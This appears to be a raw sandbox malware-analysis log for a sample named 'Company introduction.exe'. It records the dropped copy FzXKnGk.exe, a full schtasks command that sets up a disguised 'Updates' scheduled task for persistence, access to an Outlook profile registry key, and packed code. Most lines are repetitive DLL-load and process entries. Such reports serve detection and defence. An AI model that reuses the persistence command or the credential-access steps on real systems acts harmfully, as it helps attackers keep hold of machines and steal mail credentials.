Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Section loaded: dpapi.dll

Source: C:\Users\user\Desktop\Company introduction.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Company introduction.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Company introduction.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Company introduction.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Company introduction.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Company introduction.exe	Code function: 6_2_017D9C30 push esp; retf 02F1h	6_2_017D9D55
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_0294EBFB push ecx; ret	7_2_0294EBFC
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 7_2_06EE72DC pushad ; retf	7_2_06EE72A1
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_01839C30 push esp; retf 0185h	12_2_01839D55
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F69241 push es; ret	12_2_06F69244
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Code function: 12_2_06F62DBF pushfd ; retf	12_2_06F62DC1

Source: Company introduction.exe	Static PE information: section name: .text entropy: 7.681146035096391
Source: FzXKnGk.exe.0.dr	Static PE information: section name: .text entropy: 7.681146035096391

Source: C:\Users\user\Desktop\Company introduction.exe

File created: C:\Users\user\AppData\Roaming\FzXKnGk.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\Company introduction.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FzXKnGk" /XML "C:\Users\user\AppData\Local\Temp\tmpE629.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\Company introduction.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
